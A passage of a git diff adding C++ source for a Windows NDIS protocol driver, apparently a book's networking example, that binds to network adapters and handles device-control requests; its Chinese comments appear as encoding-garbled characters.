&ustrDevName, + FILE_DEVICE_PROTOCOL, + 0, + TRUE, // ÔÚͬһʱ¼ä£¬½öÔÊÐíÓû§´ò¿ªÒ»¸öµ½´Ë¶ÔÏóµÄ¾ä±ú + &pDeviceObj); + if(status != STATUS_SUCCESS) + { + DbgPrint(" ProtoDrv: CreateDevice() failed \n "); + *Status = NDIS_STATUS_FAILURE; + break; + } + // ʹÓÃÖ±½ÓI/O´«ÊäÊý¾Ý£¬ÕâÖÖ·½Ê½Êʺϴó¿éÊý¾ÝµÄ´«Êä + pDeviceObj->Flags |= DO_DIRECT_IO; + // È¡µÃÓë±¾É豸¶ÔÏó¹ØÁªµÄOPEN_INSTANCE½á¹¹µÄÖ¸Õë + pOpen = (OPEN_INSTANCE*)pDeviceObj->DeviceExtension; + // ±£´æÉ豸¶ÔÏóÖ¸Õë + pOpen->pDeviceObj = pDeviceObj; + + // ¹¹½¨·ûºÅÁ¬½ÓÃû³Æ + // ·ûºÅÁ¬½ÓÃû³Æ¸ñʽΪ¡°\DosDevices\Packet_{GUID}¡±£¬±ÈÉ豸Ãû³Æ¶à4¸ö×Ö + nLen = ustrDevName.Length + 4*sizeof(WCHAR) + sizeof(UNICODE_NULL); + strName = (PWSTR)ExAllocatePool(NonPagedPool, nLen); + if(strName == NULL) + { + *Status = NDIS_STATUS_FAILURE; + break; + } + swprintf(strName, L"\\DosDevices\\%ws", &ustrDevName.Buffer[8]); + RtlInitUnicodeString(&pOpen->ustrLinkName, strName); + + // Ϊн¨É豸¶ÔÏó´´½¨·ûºÅÁ¬½ÓÃû³Æ + status = IoCreateSymbolicLink(&pOpen->ustrLinkName, &ustrDevName); + if(status != STATUS_SUCCESS) + { + *Status = NDIS_STATUS_FAILURE; + DbgPrint(" ProtoDrv: Create symbolic failed \n"); + break; + } + // ÎÒÃDz»ÔÙʹÓÃÉ豸¶ÔÏóÃû³ÆÁË£¬ÊÍ·ÅËüÕ¼ÓõÄÄÚ´æ + ExFreePool(ustrDevName.Buffer); + ustrDevName.Buffer = NULL; + + // ³õʼ»¯OPEN_INSTANCE½á¹¹. ÉÏÃæÒѾ­³õʼ»¯ÁËpDeviceObjºÍustrLinkNameÓò + // ÉêÇë·â°ü³Ø + NdisAllocatePacketPool(&status, + &pOpen->hPacketPool, 16, sizeof(PACKET_RESERVED)); + if(status != NDIS_STATUS_SUCCESS) + { + *Status = NDIS_STATUS_FAILURE; + break; + } + + // ³õʼ»¯ÓÃÀ´Í¬²½´ò¿ªºÍ¹Ø±ÕµÄʼþ + NdisInitializeEvent(&pOpen->BindEvent); + + // ³õʼ»¯ÖØÖÃÁбíºÍËü¶ÔÓ¦µÄspinlock + InitializeListHead(&pOpen->ResetIrpList); + KeInitializeSpinLock(&pOpen->ResetQueueLock); + + // ³õʼ»¯±£´æδ¾ö¶ÁÇëÇóµÄÁбíºÍËü¶ÔÓ¦µÄspinlock + InitializeListHead(&pOpen->RcvList); + KeInitializeSpinLock(&pOpen->RcvSpinLock); + + // ÏÖÔÚ´ò¿ªÏÂÃæµÄÊÊÅäÆ÷ + NDIS_MEDIUM mediumArray = NdisMedium802_3; + UINT mediumIndex; + NdisOpenAdapter(Status, + &status, + &pOpen->hAdapter, + &mediumIndex, + &mediumArray, + sizeof(mediumArray)/sizeof(NDIS_MEDIUM), + g_data.hNdisProtocol, + pOpen, + DeviceName, + 0, + NULL); + if(*Status == NDIS_STATUS_PENDING) + { + // ´ò¿ª²Ù×÷Íê³ÉÖ®ºó£¬NDIS»áµ÷ÓÃÎÒÃÇ×¢²áµÄProtocolOpenAdapterCompleteº¯Êý£¬ + // ProtocolOpenAdapterCompleteº¯ÊýÉèÖÃBindEventʼþ£¬Ê¹ÏÂÃæµÄÓï¾ä·µ»Ø¡£ËüÒ²ÉèÖÃ״̬´úÂëStatus + NdisWaitEvent(&pOpen->BindEvent, 0); + *Status = pOpen->Status; + } + if(*Status != NDIS_STATUS_SUCCESS) + { + DbgPrint(" ProtoDrv: OpenAdapter failed! \n"); + break; + } + + // ¼ÌÐø³õʼ»¯OPEN_INSTANCE½á¹¹ + // IRPÇëÇóÊýÁ¿³õʼֵΪ0 + pOpen->nIrpCount = 0; + + // ÒѾ­°ó¶¨ + InterlockedExchange((PLONG)&pOpen->bBound, TRUE); + + NdisInitializeEvent(&pOpen->CleanupEvent); + + // ¿ÉÒÔÇå³ý + NdisSetEvent(&pOpen->CleanupEvent); + + // ±£´æMACÇý¶¯µÄÃû³Æ + NdisQueryAdapterInstanceName(&pOpen->ustrAdapterName, pOpen->hAdapter); + + pOpen->Medium = mediumArray; + + // Á¬½Ó´ËOPEN_INSTANCEʵÀýµ½È«¾ÖµÄÊÊÅäÆ÷ÁÐ±í£¨AdapterList£©£¬×¼±¸½ÓÊÕÓû§µÄI/OÇëÇó + InitializeListHead(&pOpen->AdapterListEntry); + ExInterlockedInsertTailList(&g_data.AdapterList, + &pOpen->AdapterListEntry, + &g_data.GlobalLock); + // Çå³ýÉ豸¶ÔÏóÖеÄDO_DEVICE_INITIALIZING±ê¼Ç¡£ + // Èç¹ûÄãÔÚDriverEntryÖ®Íâ´´½¨É豸¶ÔÏ󣬱ØÐëÒªÕâô×ö¡£·ñÔò£¬Ó¦ÓóÌÐò²»ÄÜ·¢ËÍI/OÇëÇó + pDeviceObj->Flags &= ~DO_DEVICE_INITIALIZING; + } + while(FALSE); + + + // ³ö´í´¦Àí + if(*Status != NDIS_STATUS_SUCCESS) + { + if(pOpen != NULL && pOpen->hPacketPool != NULL) + { + NdisFreePacketPool(pOpen->hPacketPool); + } + if(pDeviceObj != NULL) + IoDeleteDevice(pDeviceObj); + if(ustrDevName.Buffer != NULL) + ExFreePool(ustrDevName.Buffer); + if(pOpen->ustrLinkName.Buffer != NULL) + { + IoDeleteSymbolicLink(&pOpen->ustrLinkName); + ExFreePool(pOpen->ustrLinkName.Buffer); + } + } +} + +VOID + ProtocolOpenAdapterComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status, + IN NDIS_STATUS OpenErrorStatus + ) +{ + POPEN_INSTANCE pOpen = (POPEN_INSTANCE)ProtocolBindingContext; + pOpen->Status = Status; + // ָʾ°ó¶¨ÒѾ­Íê³É + NdisSetEvent(&pOpen->BindEvent); +} + + +VOID + ProtocolUnbindAdapter( + OUT PNDIS_STATUS Status, + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_HANDLE UnbindContext + ) +{ + OPEN_INSTANCE *pOpen = (OPEN_INSTANCE *)ProtocolBindingContext; + if(pOpen->hAdapter != NULL) + { + // ¹Ø±ÕϲãÊÊÅäÆ÷ + NdisResetEvent(&pOpen->BindEvent); + + // ˵Ã÷²»ÔÙÓаó¶¨ÁË + InterlockedExchange((PLONG)&pOpen->bBound, FALSE); + + // È¡ÏûËùÓÐδ¾öµÄ¶ÁIRPÇëÇó + CancelReadIrp(pOpen->pDeviceObj); + + // µÈ´ýËùÓÐIRPÍê³É + NdisWaitEvent(&pOpen->CleanupEvent, 0); + + // ÊͷŽ¨Á¢µÄ°ó¶¨ + NdisCloseAdapter(Status, pOpen->hAdapter); + // µÈ´ýÕâ¸ö²Ù×÷Íê³É + if(*Status == NDIS_STATUS_PENDING) + { + NdisWaitEvent(&pOpen->BindEvent, 0); // ProtocolCloseAdapterCompleteº¯ÊýʹʼþÊÜÐÅ + *Status = pOpen->Status; + } + else + { + *Status = NDIS_STATUS_FAILURE; + } + + // ´ÓÈ«¾ÖµÄÊÊÅäÆ÷ÁÐ±í£¨AdapterList£©ÖÐɾ³ýÕâ¸öʵÀý + KIRQL oldIrql; + KeAcquireSpinLock(&g_data.GlobalLock, &oldIrql); + RemoveEntryList(&pOpen->AdapterListEntry); + KeReleaseSpinLock(&g_data.GlobalLock, oldIrql); + + // ÊÍ·Å°ó¶¨Ê±ÉêÇëµÄ×ÊÔ´ + NdisFreePacketPool(pOpen->hPacketPool); + NdisFreeMemory(pOpen->ustrAdapterName.Buffer, pOpen->ustrAdapterName.Length, 0); + IoDeleteSymbolicLink(&pOpen->ustrLinkName); + ExFreePool(pOpen->ustrLinkName.Buffer); + IoDeleteDevice(pOpen->pDeviceObj); + } +} + + +VOID + ProtocolCloseAdapterComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status + ) +{ + POPEN_INSTANCE pOpen = (POPEN_INSTANCE)ProtocolBindingContext; + pOpen->Status = Status; + NdisSetEvent(&pOpen->BindEvent); +} + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ndisprot.cpp" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ndisprot.cpp" new file mode 100644 index 0000000..275c077 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ndisprot.cpp" @@ -0,0 +1,586 @@ +/////////////////////////////////////////////////// +// ndisprot.cppÎļþ +// NTÈë¿Úµã£¬ÅÉDzÀý³Ì + +#define NDIS50 1 // ˵Ã÷ҪʹÓÃNDIS 5.0 + +extern "C" +{ + #include + #include + #include +} +#include "nuiouser.h" +#include "ndisprot.h" +#pragma comment(lib, "ndis") + +GLOBAL g_data; + + +// ³õʼ»¯Ð­ÒéÇý¶¯ +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString) +{ + NTSTATUS status = STATUS_SUCCESS; + PDEVICE_OBJECT pDeviceObj = NULL; + NDIS_STRING protoName = NDIS_STRING_CONST("Packet"); + // ¸øÓû§Ê¹ÓõķûºÅÁ¬½ÓÃû³Æ + UNICODE_STRING ustrSymbolicLink; + BOOLEAN bSymbolicLink = FALSE; + + DbgPrint(" ProtoDrv: DriverEntry... \n"); + + // ±£´æÇý¶¯¶ÔÏóÖ¸Õë¡£ÕâÀg_dataÊÇGLOBALÀàÐ͵ÄÈ«¾Ö±äÁ¿ + g_data.pDriverObj = pDriverObj; + + do + { + // Ϊ´ËÇý¶¯´´½¨Ò»¸ö¿ØÖÆÉ豸¶ÔÏó¡£Óû§³ÌÐòÏòÕâ¸öÉ豸·¢ËÍIOCTL´úÂ룬 + // ÒÔ±ã»ñÈ¡°ó¶¨µÄÊÊÅäÆ÷ÐÅÏ¢ + UNICODE_STRING ustrDevName; + RtlInitUnicodeString(&ustrDevName, DEVICE_NAME); + status = IoCreateDevice(pDriverObj, + 0, + &ustrDevName, + FILE_DEVICE_UNKNOWN, + 0, + FALSE, + &pDeviceObj); + if(!NT_SUCCESS(status)) + { + DbgPrint(" ProtoDrv: CreateDevice failed \n"); + break; + } + // ΪÉÏÃæµÄÉ豸´´½¨·ûºÅÁ¬½Ó + RtlInitUnicodeString(&ustrSymbolicLink, LINK_NAME); + status = IoCreateSymbolicLink(&ustrSymbolicLink, &ustrDevName); + if(!NT_SUCCESS(status)) + { + DbgPrint(" ProtoDrv: CreateSymbolicLink failed \n"); + break; + } + bSymbolicLink = TRUE; + // ÉèÖÃΪ»º³åÇøI/O·½Ê½ + pDeviceObj->Flags |= DO_BUFFERED_IO; + + // ³õʼ»¯È«¾Ö±äÁ¿ + g_data.pControlDevice = pDeviceObj; + InitializeListHead(&g_data.AdapterList); + KeInitializeSpinLock(&g_data.GlobalLock); + + // ³õʼ»¯Ð­ÒéÌØÕ÷½á¹¹ + NDIS_PROTOCOL_CHARACTERISTICS protocolChar; + NdisZeroMemory(&protocolChar, sizeof(protocolChar)); + protocolChar.Ndis40Chars.Ndis30Chars.MajorNdisVersion = 5; + protocolChar.Ndis40Chars.Ndis30Chars.MinorNdisVersion = 0; + + protocolChar.Ndis40Chars.Ndis30Chars.Name = protoName; + + protocolChar.Ndis40Chars.BindAdapterHandler = ProtocolBindAdapter; + protocolChar.Ndis40Chars.UnbindAdapterHandler = ProtocolUnbindAdapter; + + protocolChar.Ndis40Chars.Ndis30Chars.OpenAdapterCompleteHandler = ProtocolOpenAdapterComplete; + protocolChar.Ndis40Chars.Ndis30Chars.CloseAdapterCompleteHandler = ProtocolCloseAdapterComplete; + + protocolChar.Ndis40Chars.Ndis30Chars.ReceiveHandler = ProtocolReceive; +// protocolChar.Ndis40Chars.ReceivePacketHandler = ProtocolReceivePacket; + protocolChar.Ndis40Chars.Ndis30Chars.TransferDataCompleteHandler = ProtocolTransferDataComplete; + + protocolChar.Ndis40Chars.Ndis30Chars.SendCompleteHandler = ProtocolSendComplete; + + + protocolChar.Ndis40Chars.Ndis30Chars.ResetCompleteHandler = ProtocolResetComplete; + protocolChar.Ndis40Chars.Ndis30Chars.RequestCompleteHandler = ProtocolRequestComplete; + + protocolChar.Ndis40Chars.Ndis30Chars.ReceiveCompleteHandler = ProtocolReceiveComplete; + + protocolChar.Ndis40Chars.Ndis30Chars.StatusHandler = ProtocolStatus; + protocolChar.Ndis40Chars.Ndis30Chars.StatusCompleteHandler = ProtocolStatusComplete; + protocolChar.Ndis40Chars.PnPEventHandler = ProtocolPNPHandler; + + // ×¢²áΪЭÒéÇý¶¯ + NdisRegisterProtocol((PNDIS_STATUS)&status, + &g_data.hNdisProtocol, &protocolChar, sizeof(protocolChar)); + if(status != NDIS_STATUS_SUCCESS) + { + status = STATUS_UNSUCCESSFUL; + break; + } + DbgPrint(" ProtoDrv: NdisRegisterProtocol success \n"); + + // ÏÖÔÚ£¬ÉèÖÃÎÒÃÇÒª´¦ÀíµÄÅÉDzÀý³Ì + pDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreate; + pDriverObj->MajorFunction[IRP_MJ_CLOSE] = DispatchClose; + pDriverObj->MajorFunction[IRP_MJ_READ] = DispatchRead; + pDriverObj->MajorFunction[IRP_MJ_WRITE] = DispatchWrite; + pDriverObj->MajorFunction[IRP_MJ_CLEANUP] = DispatchCleanup; + + pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl; + pDriverObj->DriverUnload = DriverUnload; + status = STATUS_SUCCESS; + }while(FALSE); + + if(!NT_SUCCESS(status)) // ´íÎó´¦Àí + { + if(pDeviceObj != NULL) + { + // ɾ³ýÉ豸¶ÔÏó + IoDeleteDevice(pDeviceObj); + g_data.pControlDevice = NULL; + } + if(bSymbolicLink) + { + // ɾ³ý·ûºÅÁ¬½Ó + IoDeleteSymbolicLink(&ustrSymbolicLink); + } + } + return status; +} + + +// жÔØ +void DriverUnload(PDRIVER_OBJECT pDriverObj) +{ + // ɾ³ý¿ØÖÆÉ豸¶ÔÏóºÍ¶ÔÓ¦µÄ·ûºÅÁ¬½Ó + UNICODE_STRING ustrLink; + RtlInitUnicodeString(&ustrLink, LINK_NAME); + IoDeleteSymbolicLink(&ustrLink); + if(g_data.pControlDevice != NULL) + IoDeleteDevice(g_data.pControlDevice); + + // ½â³ýËùÓÐ°ó¶¨ + NDIS_STATUS status; + while(pDriverObj->DeviceObject != NULL) // ÕâÀï³ýÁË¿ØÖÆÉ豸¶ÔÏóÖ®Í⣬ÆäËüÈ«ÊÇNICÉ豸¶ÔÏó + { + ProtocolUnbindAdapter(&status, pDriverObj->DeviceObject->DeviceExtension, NULL); + } + // È¡ÏûЭÒéÇý¶¯µÄ×¢²á + NdisDeregisterProtocol(&status, g_data.hNdisProtocol); +} + + +// ´¦ÀíIRP_MJ_CREATE¡¢IRP_MJ_CLOSE¹¦ÄÜ´úÂë +NTSTATUS DispatchClose(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint(" ProtoDrv: DispatchClose \n"); + NTSTATUS status = STATUS_SUCCESS; + + if(pDevObj == g_data.pControlDevice) + { + pIrp->IoStatus.Status = STATUS_SUCCESS; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return status; + } + + POPEN_INSTANCE pOpen = (POPEN_INSTANCE)pDevObj->DeviceExtension; + + IoIncrement(pOpen); + + pIrp->IoStatus.Information = 0; + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + IoDecrement(pOpen); + + + return status; +} +// ´¦ÀíIRP_MJ_CREATE¡¢IRP_MJ_CLOSE¹¦ÄÜ´úÂë +NTSTATUS DispatchCreate(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint(" ProtoDrv: DispatchCreate \n"); + NTSTATUS status = STATUS_SUCCESS; + + if(pDevObj == g_data.pControlDevice) + { + pIrp->IoStatus.Status = STATUS_SUCCESS; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return status; + } + + POPEN_INSTANCE pOpen = (POPEN_INSTANCE)pDevObj->DeviceExtension; + + + IoIncrement(pOpen); + + if(!pOpen->bBound) + { + status = STATUS_DEVICE_NOT_READY; + } + + pIrp->IoStatus.Information = 0; + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + IoDecrement(pOpen); + return status; +} + + +// I/O¿ØÖÆÅÉDzÀý³Ì +NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + // ¼ÙÉèʧ°Ü + NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST; + + // È¡µÃ´ËIRP£¨pIrp£©µÄI/O¶ÑÕ»Ö¸Õë + PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp); + + // È¡µÃI/O¿ØÖÆ´úÂë + ULONG uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode; + // È¡µÃI/O»º³åÇøÖ¸ÕëºÍËüµÄ³¤¶È + PVOID pIoBuffer = pIrp->AssociatedIrp.SystemBuffer; + ULONG uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; + ULONG uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; + + if(uIoControlCode == IOCTL_ENUM_ADAPTERS) + { + ULONG nDataLen = 0; + if(pDevObj != g_data.pControlDevice) + status = STATUS_INVALID_DEVICE_REQUEST; + else + { + status = GetAdapterList(pIoBuffer, uOutSize, &nDataLen); + if(status != STATUS_SUCCESS) + DbgPrint("GetAdapterList error "); + } + pIrp->IoStatus.Information = nDataLen; + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return status; + } + + OPEN_INSTANCE *pOpen = (OPEN_INSTANCE *)pDevObj->DeviceExtension; + if(pOpen == NULL || !pOpen->bBound) + { + pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return STATUS_UNSUCCESSFUL; + } + + IoIncrement(pOpen); + + IoMarkIrpPending(pIrp); + + if(uIoControlCode == IOCTL_PROTOCOL_RESET) + { + // ²åÈë´ËIRPµ½ÖØÖÃIRPÁбí + ExInterlockedInsertTailList( + &pOpen->ResetIrpList, + &pIrp->Tail.Overlay.ListEntry, + &pOpen->ResetQueueLock); + + // ·¢³öÖØÖÃÇëÇó + NdisReset( + &status, + pOpen->hAdapter + ); + if(status != NDIS_STATUS_PENDING) + { + ProtocolResetComplete( + pOpen, + status); + } + } + + // »ñÈ¡»òÕßÉèÖÃOIDÐÅÏ¢ + else if(uIoControlCode == IOCTL_PROTOCOL_SET_OID + || uIoControlCode == IOCTL_PROTOCOL_QUERY_OID) // ÊäÈë²ÎÊýÊÇÒ»¸ö×Ô¶¨ÒåµÄPROTOCOL_OID_DATA½á¹¹ + { + PPROTOCOL_OID_DATA pOidData = (PPROTOCOL_OID_DATA)pIoBuffer; + // ÉêÇëÒ»¸öINTERNAL_REQUEST½á¹¹ + PINTERNAL_REQUEST pInterRequest = + (PINTERNAL_REQUEST)ExAllocatePool(NonPagedPool, sizeof(INTERNAL_REQUEST)); + if(pInterRequest == NULL) + { + pIrp->IoStatus.Status = STATUS_INSUFFICIENT_RESOURCES; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + IoDecrement(pOpen); + return STATUS_PENDING; + } + pInterRequest->pIrp = pIrp; + + if(uOutSize == uInSize && uOutSize >= sizeof(PROTOCOL_OID_DATA) && + uOutSize >= sizeof(PROTOCOL_OID_DATA) - 1 + pOidData->Length) // »º³åÇø¿ÉÓã¿ + { + // ³õʼ»¯NDIS_REQUEST½á¹¹ + if(uIoControlCode == IOCTL_PROTOCOL_SET_OID) + { + pInterRequest->Request.RequestType = NdisRequestSetInformation; + pInterRequest->Request.DATA.SET_INFORMATION.Oid = pOidData->Oid; + pInterRequest->Request.DATA.SET_INFORMATION.InformationBuffer = pOidData->Data; + pInterRequest->Request.DATA.SET_INFORMATION.InformationBufferLength = pOidData->Length; + } + else + { + pInterRequest->Request.RequestType = NdisRequestQueryInformation; + pInterRequest->Request.DATA.QUERY_INFORMATION.Oid = pOidData->Oid; + pInterRequest->Request.DATA.QUERY_INFORMATION.InformationBuffer = pOidData->Data; + pInterRequest->Request.DATA.QUERY_INFORMATION.InformationBufferLength = pOidData->Length; + } + + // Ìá½»Õâ¸öÇëÇó + NdisRequest(&status, pOpen->hAdapter, &pInterRequest->Request); + } + else + { + status = NDIS_STATUS_FAILURE; + pInterRequest->Request.DATA.SET_INFORMATION.BytesRead = 0; + pInterRequest->Request.DATA.QUERY_INFORMATION.BytesWritten = 0; + } + + if(status != NDIS_STATUS_PENDING) + { + ProtocolRequestComplete(pOpen, &pInterRequest->Request, status); + } + } + + return STATUS_PENDING; +} + +VOID +ProtocolResetComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status + ) + +{ + OPEN_INSTANCE *pOpen; + pOpen = (OPEN_INSTANCE*)ProtocolBindingContext; + + // È¡³öIRPÖ¸Õë + PLIST_ENTRY pListEntry = ExInterlockedRemoveHeadList( + &pOpen->ResetIrpList, + &pOpen->ResetQueueLock + ); + PIRP pIrp = CONTAINING_RECORD(pListEntry,IRP,Tail.Overlay.ListEntry); + + // Íê³É´ËIRP + if(Status == NDIS_STATUS_SUCCESS) + { + pIrp->IoStatus.Status = STATUS_SUCCESS; + } + else + { + pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL; + } + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + IoDecrement(pOpen); +} + + +VOID +ProtocolRequestComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_REQUEST NdisRequest, + IN NDIS_STATUS Status + ) +{ + POPEN_INSTANCE pOpen = (POPEN_INSTANCE)ProtocolBindingContext; + PINTERNAL_REQUEST pInterRequest = CONTAINING_RECORD(NdisRequest, INTERNAL_REQUEST, Request); + PIRP pIrp = pInterRequest->pIrp; + + if(Status == NDIS_STATUS_SUCCESS) + { + PIO_STACK_LOCATION pIrpSp = IoGetCurrentIrpStackLocation(pIrp); + UINT nIoControlCode = pIrpSp->Parameters.DeviceIoControl.IoControlCode; + PPROTOCOL_OID_DATA pOidData = (PPROTOCOL_OID_DATA)pIrp->AssociatedIrp.SystemBuffer; + + // ½«´óС·µ»Øµ½Óû§»º³åÇø + if(nIoControlCode == IOCTL_PROTOCOL_SET_OID) + { + pOidData->Length = pInterRequest->Request.DATA.SET_INFORMATION.BytesRead; + } + else if(nIoControlCode == IOCTL_PROTOCOL_QUERY_OID) + { + pOidData->Length = pInterRequest->Request.DATA.QUERY_INFORMATION.BytesWritten; + } + + // ÉèÖ÷µ»Ø¸øI/O¹ÜÀíÆ÷µÄÐÅÏ¢ + pIrp->IoStatus.Information = pIrpSp->Parameters.DeviceIoControl.InputBufferLength; + pIrp->IoStatus.Status = STATUS_SUCCESS; + } + else + { + pIrp->IoStatus.Information = 0; + pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL; + } + ExFreePool(pInterRequest); + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + IoDecrement(pOpen); +} + +NTSTATUS +GetAdapterList( + IN PVOID Buffer, // »º³åÇø + IN ULONG Length, // »º³åÇø´óС + IN OUT PULONG DataLength // ·µ»Øʵ¼ÊÐèÒªµÄ³¤¶È + ) +{ + KIRQL oldIrql; + KeAcquireSpinLock(&g_data.GlobalLock, &oldIrql); + + OPEN_INSTANCE *pOpen ; + + // ±éÀúÁÐ±í£¬¼ÆËãËùÐèµÄ»º³åÇø´óС + ULONG nRequiredLength = 0; + ULONG nAdapters = 0; + + PLIST_ENTRY pThisEntry; + PLIST_ENTRY pHeader = &g_data.AdapterList; + for(pThisEntry = pHeader->Flink ; pThisEntry != pHeader; pThisEntry = pThisEntry->Flink) + { + pOpen = CONTAINING_RECORD(pThisEntry, OPEN_INSTANCE, AdapterListEntry); + nRequiredLength += pOpen->ustrAdapterName.Length + sizeof(UNICODE_NULL); + nRequiredLength += pOpen->ustrLinkName.Length + sizeof(UNICODE_NULL); + nAdapters++; + } + + // ÎÒÃǽ«ÒªÒÔÏÂÃæµÄ¸ñʽ·µ»ØÊý¾Ý£º + // nAdapters + Ò»¸ö»òÕ߶à¸ö£¨"AdapterName\0" + "SymbolicLink\0"£© + UNICODE_NULL + // ËùÒÔ£¬ÏÂÃæÒª°üº¬ÉÏnAaptersºÍUNICODE_NULLµÄ´óС + nRequiredLength += sizeof(nAdapters) + sizeof(UNICODE_NULL); + + *DataLength = nRequiredLength; + if(nRequiredLength > Length) + { + KeReleaseSpinLock(&g_data.GlobalLock, oldIrql); + return STATUS_BUFFER_TOO_SMALL; + } + + // Ìî³ä»º³åÇø + // Ê×ÏÈÊÇÊÊÅäÆ÷ÊýÁ¿ + *(PULONG)Buffer = nAdapters; + Buffer = (PCHAR)Buffer + sizeof(ULONG); + + // È»ºó¸´ÖÆÊÊÅäÆ÷ºÍ·ûºÅÁ¬½ÓÃû³Æ + for(pThisEntry = pHeader->Flink; + pThisEntry != pHeader; + pThisEntry = pThisEntry->Flink) + { + pOpen = CONTAINING_RECORD(pThisEntry, OPEN_INSTANCE, AdapterListEntry); + + RtlCopyMemory(Buffer, pOpen->ustrAdapterName.Buffer, + pOpen->ustrAdapterName.Length + sizeof(WCHAR)); + + Buffer = (PCHAR)Buffer + pOpen->ustrAdapterName.Length + sizeof(WCHAR); + + + RtlCopyMemory(Buffer, pOpen->ustrLinkName.Buffer, + pOpen->ustrLinkName.Length + sizeof(WCHAR)); + + Buffer = (PCHAR)Buffer + pOpen->ustrLinkName.Length + sizeof(WCHAR); + } + + // ×îºóµÄ½áÊø±êÖ¾ + *(PWCHAR)Buffer = UNICODE_NULL; + + KeReleaseSpinLock(&g_data.GlobalLock, oldIrql); + + return STATUS_SUCCESS; +} + + + +void IoIncrement(OPEN_INSTANCE *pOpen) +{ + if(InterlockedIncrement((PLONG)&pOpen->nIrpCount) == 1) + NdisResetEvent(&pOpen->CleanupEvent); +} + +void IoDecrement(OPEN_INSTANCE *pOpen) +{ + if(InterlockedDecrement((PLONG)&pOpen->nIrpCount) == 0) + NdisSetEvent(&pOpen->CleanupEvent); +} + + + + +NTSTATUS +DispatchCleanup( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP Irp + ) +{ + POPEN_INSTANCE pOpen = (POPEN_INSTANCE)DeviceObject->DeviceExtension; + NTSTATUS status = STATUS_SUCCESS; + + + if(DeviceObject == g_data.pControlDevice) + { + Irp->IoStatus.Status = status; + IoCompleteRequest(Irp, IO_NO_INCREMENT); + return status; + } + + IoIncrement(pOpen); + + CancelReadIrp(DeviceObject); + + IoDecrement(pOpen); + + NdisWaitEvent(&pOpen->CleanupEvent, 0); + + Irp->IoStatus.Information = 0; + Irp->IoStatus.Status = status; + IoCompleteRequest (Irp, IO_NO_INCREMENT); + return status; + +} + + +VOID +ProtocolStatus( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status, + IN PVOID StatusBuffer, + IN UINT StatusBufferSize + ) +{ +} + +VOID +ProtocolStatusComplete( + IN NDIS_HANDLE ProtocolBindingContext + ) +{ +} + + + +NDIS_STATUS +ProtocolPNPHandler( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNET_PNP_EVENT NetPnPEvent + ) +{ + NDIS_STATUS Status = NDIS_STATUS_SUCCESS; + PNET_DEVICE_POWER_STATE powerState; + + powerState = (PNET_DEVICE_POWER_STATE)NetPnPEvent->Buffer; + switch(NetPnPEvent->NetEvent) + { + case NetEventSetPower : + switch (*powerState) + { + + case NetDeviceStateD0: + Status = NDIS_STATUS_SUCCESS; + break; + + default: + // + // We can't suspend, so we ask NDIS to Unbind us by + // returning this status: + // + Status = NDIS_STATUS_NOT_SUPPORTED; + break; + } + } + return Status; +} + + + + diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ndisprot.h" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ndisprot.h" new file mode 100644 index 0000000..040f35a --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProtoDrv/ndisprot.h" @@ -0,0 +1,233 @@ +///////////////////////////////////////////// +// ndisprot.hÎļþ +// ¶¨Òå´ËÇý¶¯³ÌÐòÊý¾Ý½á¹¹£¬¶¨ÒåºÍº¯ÊýÔ­ÐÍ + + + + +#ifndef __NDISPROT_H__ +#define __NDISPROT_H__ + +// Çý¶¯ÄÚ²¿Ãû³ÆºÍ·ûºÅÁ¬½ÓÃû³Æ +#define DEVICE_NAME L"\\Device\\devNdisProt" +#define LINK_NAME L"\\DosDevices\\slNdisProt" + + +typedef struct _GLOBAL +{ + PDRIVER_OBJECT pDriverObj; // Çý¶¯¶ÔÏóÖ¸Õë + NDIS_HANDLE hNdisProtocol; // ЭÒéÇý¶¯¾ä±ú£¬ÊÇNdisRegisterProtocolº¯Êý·µ»ØµÄ + + LIST_ENTRY AdapterList; // ΪÎÒÃǰ󶨵Äÿ¸öÊÊÅäÆ÷´´½¨µÄÉ豸¶ÔÏóÁбí + KSPIN_LOCK GlobalLock; // ΪÁËͬ²½¶ÔÕâ¸ö±íµÄ·ÃÎÊ + PDEVICE_OBJECT pControlDevice; // 